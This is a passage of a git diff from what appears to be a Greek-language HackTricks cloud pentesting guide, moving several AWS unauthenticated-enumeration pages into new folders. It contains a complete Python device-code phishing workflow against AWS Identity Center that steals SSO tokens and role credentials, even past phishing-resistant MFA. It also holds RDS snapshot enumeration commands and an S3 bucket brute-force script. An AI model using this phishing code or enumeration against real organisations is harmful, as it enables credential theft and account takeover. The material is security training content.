να έχει πρόσβαση σε όλους τους ρόλους που ο χρήστης μπορεί να προσπελάσει στο **Identity Center**. + +In order to perform this attack the requisites are: + +- Το θύμα πρέπει να χρησιμοποιεί **Identity Center** +- Ο επιτιθέμενος πρέπει να γνωρίζει τον **υποτομέα** που χρησιμοποιεί το θύμα `.awsapps.com/start` + +Μόνο με αυτές τις πληροφορίες, ο **επιτιθέμενος θα μπορεί να στείλει έναν σύνδεσμο στον χρήστη** που, αν **αποδεχτεί**, θα του παράσχει **πρόσβαση στον AWS λογαριασμό του χρήστη**. + +### Επίθεση + +1. **Εύρεση του υποτομέα** + +Το πρώτο βήμα του επιτιθέμενου είναι να εντοπίσει τον υποτομέα που χρησιμοποιεί η εταιρεία-θύμα στο Identity Center τους. Αυτό μπορεί να γίνει μέσω **OSINT** ή **guessing + BF** καθώς οι περισσότερες εταιρείες θα χρησιμοποιούν το όνομά τους ή μια παραλλαγή του εδώ. + +Με αυτές τις πληροφορίες, είναι δυνατό να βρεις την περιοχή όπου το Identity Center έχει ρυθμιστεί με: +```bash +curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' +"region":"us-east-1 +``` +2. **Δημιουργήστε το link για τον victim & Στείλτε το** + +Εκτελέστε τον ακόλουθο κώδικα για να δημιουργήσετε ένα AWS SSO login link ώστε ο victim να μπορεί να αυθεντικοποιηθεί.\ +Για το demo, εκτελέστε αυτόν τον κώδικα σε μια python console και μην την κλείσετε, καθώς αργότερα θα χρειαστείτε κάποια αντικείμενα για να πάρετε το token: +```python +import boto3 + +REGION = 'us-east-1' # CHANGE THIS +AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS + +sso_oidc = boto3.client('sso-oidc', region_name=REGION) +client = sso_oidc.register_client( +clientName = 'attacker', +clientType = 'public' +) + +client_id = client.get('clientId') +client_secret = client.get('clientSecret') +authz = sso_oidc.start_device_authorization( +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL +) + +url = authz.get('verificationUriComplete') +deviceCode = authz.get('deviceCode') +print("Give this URL to the victim: " + url) +``` +Στείλε τον σύνδεσμο που δημιουργήθηκε στο θύμα χρησιμοποιώντας τις εξαιρετικές σου δεξιότητες social engineering! + +3. **Περίμενε μέχρι το θύμα να το αποδεχτεί** + +Εάν το θύμα ήταν **ήδη συνδεδεμένο στο AWS** θα χρειαστεί απλώς να αποδεχτεί την παροχή των δικαιωμάτων, αν δεν ήταν, θα χρειαστεί να **συνδεθεί και στη συνέχεια να αποδεχτεί την παροχή των δικαιωμάτων**.\ +Έτσι μοιάζει το prompt σήμερα: + +
+ +4. **Πάρε SSO access token** + +Εάν το θύμα αποδέχτηκε το prompt, εκτέλεσε αυτόν τον κώδικα για να **παράγεις ένα SSO token παριστάνοντας τον χρήστη**: +```python +token_response = sso_oidc.create_token( +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode +) +sso_token = token_response.get('accessToken') +``` +Το SSO access token είναι **έγκυρο για 8h**. + +5. **Προσποιηθείτε τον χρήστη** +```python +sso_client = boto3.client('sso', region_name=REGION) + +# List accounts where the user has access +aws_accounts_response = sso_client.list_accounts( +accessToken=sso_token, +maxResults=100 +) +aws_accounts_response.get('accountList', []) + +# Get roles inside an account +roles_response = sso_client.list_account_roles( +accessToken=sso_token, +accountId= +) +roles_response.get('roleList', []) + +# Get credentials over a role + +sts_creds = sso_client.get_role_credentials( +accessToken=sso_token, +roleName=, +accountId= +) +sts_creds.get('roleCredentials') +``` +### Phishing the unphisable MFA + +Είναι ενδιαφέρον να γνωρίζουμε ότι η προηγούμενη επίθεση **works even if an "unphisable MFA" (webAuth) is being used**. Αυτό συμβαίνει επειδή η προηγούμενη **workflow never leaves the used OAuth domain**. Όχι όπως σε άλλες phishing επιθέσεις όπου ο χρήστης πρέπει να αντικαταστήσει το login domain, στην περίπτωση αυτή η device code workflow είναι προετοιμασμένη έτσι ώστε ένας **code να είναι γνωστός από μια συσκευή** και ο χρήστης μπορεί να συνδεθεί ακόμα και από διαφορετική μηχανή. Αν αποδεχθεί το prompt, η συσκευή, απλώς **γνωρίζοντας τον initial code**, θα είναι σε θέση να **retrieve credentials** για τον χρήστη. + +For more info about this [**δείτε αυτή την ανάρτηση**](https://mjg59.dreamwidth.org/62175.html). + +### Αυτόματα Εργαλεία + +- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) +- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) + +## Αναφορές + +- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) +- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) +- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) +- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md index 7244d7615..5c2985002 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -1,11 +1,11 @@ # AWS - IoT Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Δημόσιο πρότυπο URL +### Πρότυπο δημόσιου URL ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md index 008e690c8..be84ee014 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -1,9 +1,9 @@ # AWS - Kinesis Video Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Δημόσιο πρότυπο URL ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index 5454b3349..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Lambda Unauthenticated Access - -{{#include ../../../banners/hacktricks-training.md}} - -## Δημόσιο URL Λειτουργίας - -Είναι δυνατόν να σχετίσετε μια **Lambda** με ένα **δημόσιο URL λειτουργίας** που μπορεί να έχει πρόσβαση ο καθένας. Μπορεί να περιέχει διαδικτυακές ευπάθειες. - -### Πρότυπο Δημόσιου URL -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### Λάβετε το ID λογαριασμού από δημόσιο URL Lambda - -Ακριβώς όπως με τα S3 buckets, Data Exchange και API gateways, είναι δυνατό να βρείτε το ID λογαριασμού ενός λογαριασμού εκμεταλλευόμενοι το **`aws:ResourceAccount`** **Policy Condition Key** από ένα δημόσιο URL lambda. Αυτό γίνεται βρίσκοντας το ID λογαριασμού ένα χαρακτήρα τη φορά εκμεταλλευόμενοι τα wildcards στην ενότητα **`aws:ResourceAccount`** της πολιτικής.\ -Αυτή η τεχνική επιτρέπει επίσης να αποκτήσετε **τιμές ετικετών** αν γνωρίζετε το κλειδί της ετικέτας (υπάρχουν μερικές προεπιλεγμένες ενδιαφέρουσες). - -Μπορείτε να βρείτε περισσότερες πληροφορίες στην [**πρωτότυπη έρευνα**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) και το εργαλείο [**conditional-love**](https://github.com/plerionhq/conditional-love/) για να αυτοματοποιήσετε αυτή την εκμετάλλευση. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..8a911c3dd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,20 @@ +# AWS - Lambda Μη αυθεντικοποιημένη πρόσβαση + +{{#include ../../../../banners/hacktricks-training.md}} + +## Δημόσιο Function URL + +Είναι δυνατό να συσχετιστεί μια **Lambda** με ένα **public function URL** που οποιοσδήποτε μπορεί να προσπελάσει. Μπορεί να περιέχει ευπάθειες ιστού. + +### Πρότυπο Δημόσιου URL +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### Λήψη Account ID από δημόσιο Lambda URL + +Όπως και με τα S3 buckets, το Data Exchange και τα API gateways, είναι δυνατός ο εντοπισμός του account ID ενός λογαριασμού καταχρώμενοι το **`aws:ResourceAccount`** **Policy Condition Key** από ένα δημόσιο Lambda URL. Αυτό επιτυγχάνεται βρίσκοντας το account ID χαρακτήρα-χαρακτήρα, καταχρώμενοι wildcards στο τμήμα **`aws:ResourceAccount`** της policy. +Αυτή η τεχνική επιτρέπει επίσης την ανάκτηση **values of tags** αν γνωρίζετε το tag key (υπάρχουν μερικά προεπιλεγμένα ενδιαφέροντα). + +Μπορείτε να βρείτε περισσότερες πληροφορίες στην [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) και στο εργαλείο [**conditional-love**](https://github.com/plerionhq/conditional-love/) για να αυτοματοποιήσετε αυτή την εκμετάλλευση. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index f92d08def..6a2be6fab 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,11 +1,11 @@ # AWS - Media Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Δημόσιο πρότυπο URL +### Πρότυπο δημόσιου URL ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index ec4a62bd3..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Δημόσια Θύρα - -### **RabbitMQ** - -Σε περίπτωση του **RabbitMQ**, από **προεπιλογή η δημόσια πρόσβαση** και το ssl είναι ενεργοποιημένα. Αλλά χρειάζεστε **διαπιστευτήρια** για να αποκτήσετε πρόσβαση (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Επιπλέον, είναι δυνατό να **πρόσβαση στην κονσόλα διαχείρισης ιστού** αν γνωρίζετε τα διαπιστευτήρια στο `https://b-.mq.us-east-1.amazonaws.com/` - -### ActiveMQ - -Σε περίπτωση του **ActiveMQ**, από προεπιλογή η δημόσια πρόσβαση και το ssl είναι ενεργοποιημένα, αλλά χρειάζεστε διαπιστευτήρια για να αποκτήσετε πρόσβαση. - -### Δημόσιο πρότυπο URL -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..e037decb6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Δημόσια Θύρα + +### **RabbitMQ** + +Στην περίπτωση του **RabbitMQ**, κατά **προεπιλογή το public access** και το ssl είναι ενεργοποιημένα. Ωστόσο, χρειάζεστε **credentials** για να αποκτήσετε πρόσβαση (`amqps://.mq.us-east-1.amazonaws.com:5671`). Επιπλέον, είναι δυνατό να **αποκτήσετε πρόσβαση στην web management console** αν γνωρίζετε τα credentials στο `https://b-.mq.us-east-1.amazonaws.com/` + +### ActiveMQ + +Στην περίπτωση του **ActiveMQ**, κατά προεπιλογή το public access και το ssl είναι ενεργοποιημένα, αλλά χρειάζεστε credentials για να αποκτήσετε πρόσβαση. + +### Πρότυπο Δημόσιου URL +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index 0f3c95520..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Δημόσια Θύρα - -Είναι δυνατόν να **εκθέσετε τον Kafka broker στο κοινό**, αλλά θα χρειαστείτε **διαπιστευτήρια**, IAM άδειες ή ένα έγκυρο πιστοποιητικό (ανάλογα με τη μέθοδο αυθεντικοποίησης που έχει ρυθμιστεί). - -Είναι επίσης **δυνατό να απενεργοποιηθεί η αυθεντικοποίηση**, αλλά σε αυτή την περίπτωση **δεν είναι δυνατόν να εκτεθεί απευθείας** η θύρα στο Διαδίκτυο. - -### Δημόσιο πρότυπο URL -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..00dd9e739 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Δημόσια Θύρα + +Είναι πιθανό να **expose the Kafka broker to the public**, αλλά θα χρειαστείτε **credentials**, IAM permissions ή ένα έγκυρο πιστοποιητικό (ανάλογα με το auth method που έχει ρυθμιστεί). + +Επίσης είναι **possible to disabled authentication**, αλλά σε αυτή την περίπτωση **it's not possible to directly expose** την πόρτα στο Internet. + +### Πρότυπο Δημόσιου URL +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md deleted file mode 100644 index 3a7e3b9dd..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - RDS Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -## Δημόσια Θύρα - -Είναι δυνατόν να δοθεί δημόσια πρόσβαση στη **βάση δεδομένων από το διαδίκτυο**. Ο επιτιθέμενος θα χρειαστεί να **γνωρίζει το όνομα χρήστη και τον κωδικό πρόσβασης,** IAM πρόσβαση ή μια **εκμετάλλευση** για να εισέλθει στη βάση δεδομένων. - -## Δημόσιες Στιγμιότυπα RDS - -Η AWS επιτρέπει να δίνεται **πρόσβαση σε οποιονδήποτε για να κατεβάσει τα στιγμιότυπα RDS**. Μπορείτε να καταχωρίσετε αυτά τα δημόσια στιγμιότυπα RDS πολύ εύκολα από τον δικό σας λογαριασμό: -```bash -# Public RDS snapshots -aws rds describe-db-snapshots --include-public - -## Search by account ID -aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]' -## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted) -## To share a RDS encrypted snapshot you need to share the KMS key also with the account - - -# From the own account you can check if there is any public snapshot with: -aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] -## Even if in the console appear as there are public snapshot it might be public -## snapshots from other accounts used by the current account -``` -### Δημόσιο πρότυπο URL -``` -mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 -postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md new file mode 100644 index 000000000..d8a1e1e48 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -0,0 +1,40 @@ +# AWS - RDS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +## Δημόσια Θύρα + +Είναι δυνατό να δοθεί δημόσια πρόσβαση στη **βάση δεδομένων από το διαδίκτυο**. Ο attacker θα πρέπει ωστόσο να **γνωρίζει το username και το password,** να έχει IAM access, ή να χρησιμοποιήσει ένα **exploit** για να εισέλθει στη βάση δεδομένων. + +## Δημόσιες RDS Snapshots + +Η AWS επιτρέπει το να δοθεί **πρόσβαση σε οποιονδήποτε για να κατεβάσει RDS snapshots**. Μπορείτε να απαριθμήσετε αυτές τις δημόσιες RDS snapshots πολύ εύκολα από τον δικό σας λογαριασμό: +```bash +# Public RDS snapshots +aws rds describe-db-snapshots --include-public + +## Search by account ID +aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]' +## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted) +## To share a RDS encrypted snapshot you need to share the KMS key also with the account + + +# From the own account you can check if there is any public snapshot with: +aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] +## Even if in the console appear as there are public snapshot it might be public +## snapshots from other accounts used by the current account +``` +### Πρότυπο δημόσιου URL +``` +mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 +postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md deleted file mode 100644 index bbe856795..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Redshift Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Δημόσιο πρότυπο URL -``` -{user_provided}...redshift.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md new file mode 100644 index 000000000..f756f5e68 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Redshift Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Πρότυπο δημόσιου URL +``` +{user_provided}...redshift.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index 007070aa7..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 Δημόσιοι Κάδοι - -Ένας κάδος θεωρείται **“δημόσιος”** αν **οποιοσδήποτε χρήστης μπορεί να καταγράψει το περιεχόμενο** του κάδου, και **“ιδιωτικός”** αν το περιεχόμενο του κάδου μπορεί **να καταγραφεί ή να γραφτεί μόνο από συγκεκριμένους χρήστες**. - -Οι εταιρείες μπορεί να έχουν **κακώς ρυθμισμένα δικαιώματα κάδων** που δίνουν πρόσβαση είτε σε όλα είτε σε όλους τους αυθεντικοποιημένους χρήστες στο AWS σε οποιονδήποτε λογαριασμό (δηλαδή σε οποιονδήποτε). Σημειώστε ότι ακόμη και με τέτοιες κακές ρυθμίσεις, ορισμένες ενέργειες μπορεί να μην είναι δυνατές καθώς οι κάδοι μπορεί να έχουν τις δικές τους λίστες ελέγχου πρόσβασης (ACLs). - -**Μάθετε για τις κακές ρυθμίσεις του AWS-S3 εδώ:** [**http://flaws.cloud**](http://flaws.cloud/) **και** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### Εύρεση Κάδων AWS - -Διαφορετικές μέθοδοι για να βρείτε πότε μια ιστοσελίδα χρησιμοποιεί το AWS για την αποθήκευση κάποιων πόρων: - -#### Αρίθμηση & OSINT: - -- Χρησιμοποιώντας το **wappalyzer** πρόσθετο του προγράμματος περιήγησης -- Χρησιμοποιώντας το burp (**spidering** του ιστού) ή πλοηγώντας χειροκίνητα μέσω της σελίδας, όλοι οι **πόροι** **που φορτώνονται** θα αποθηκευτούν στην Ιστορία. -- **Ελέγξτε για πόρους** σε τομείς όπως: - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- Ελέγξτε για **CNAMES** καθώς το `resources.domain.com` μπορεί να έχει το CNAME `bucket.s3.amazonaws.com` -- **[s3dns](https://github.com/olizimmermann/s3dns)** – Ένας ελαφρύς DNS διακομιστής που αναγνωρίζει παθητικά τους κάδους αποθήκευσης στο cloud (S3, GCP, Azure) αναλύοντας την κίνηση DNS. Ανιχνεύει CNAMEs, ακολουθεί αλυσίδες επίλυσης και ταιριάζει πρότυπα κάδων, προσφέροντας μια ήσυχη εναλλακτική λύση σε ανακαλύψεις brute-force ή βασισμένες σε API. Ιδανικό για recon και ροές εργασίας OSINT. -- Ελέγξτε [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), μια ιστοσελίδα με ήδη **ανακαλυμμένους ανοιχτούς κάδους**. -- Το **όνομα του κάδου** και το **όνομα τομέα του κάδου** πρέπει να είναι **τα ίδια.** -- **flaws.cloud** είναι σε **IP** 52.92.181.107 και αν πάτε εκεί σας ανακατευθύνει στο [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Επίσης, `dig -x 52.92.181.107` δίνει `s3-website-us-west-2.amazonaws.com`. -- Για να ελέγξετε αν είναι κάδος μπορείτε επίσης να **επισκεφθείτε** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). - -#### Brute-Force - -Μπορείτε να βρείτε κάδους **καταναγκαστικά** με ονόματα που σχετίζονται με την εταιρεία που κάνετε pentesting: - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Περιέχει μια λίστα με πιθανά ονόματα κάδων) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# Δημιουργία μιας λίστας λέξεων για τη δημιουργία παραλλαγών
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Δημιουργία μιας λίστας λέξεων βασισμένης στους τομείς και υποτομείς για δοκιμή
-## Γράψτε αυτούς τους τομείς και υποτομείς στο subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Δημιουργία παραλλαγών βασισμένων σε μια λίστα με τους τομείς και υποτομείς για επίθεση
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Το προηγούμενο εργαλείο είναι εξειδικευμένο στη δημιουργία παραλλαγών για υποτομείς, ας φιλτράρουμε αυτή τη λίστα
-### Αφαιρέστε τις γραμμές που τελειώνουν με "."
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Δημιουργία λίστας χωρίς TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Δημιουργία λίστας χωρίς τελείες
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Δημιουργία λίστας χωρίς παύλες
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Δημιουργία της τελικής λίστας λέξεων
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Κλήση s3scanner
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
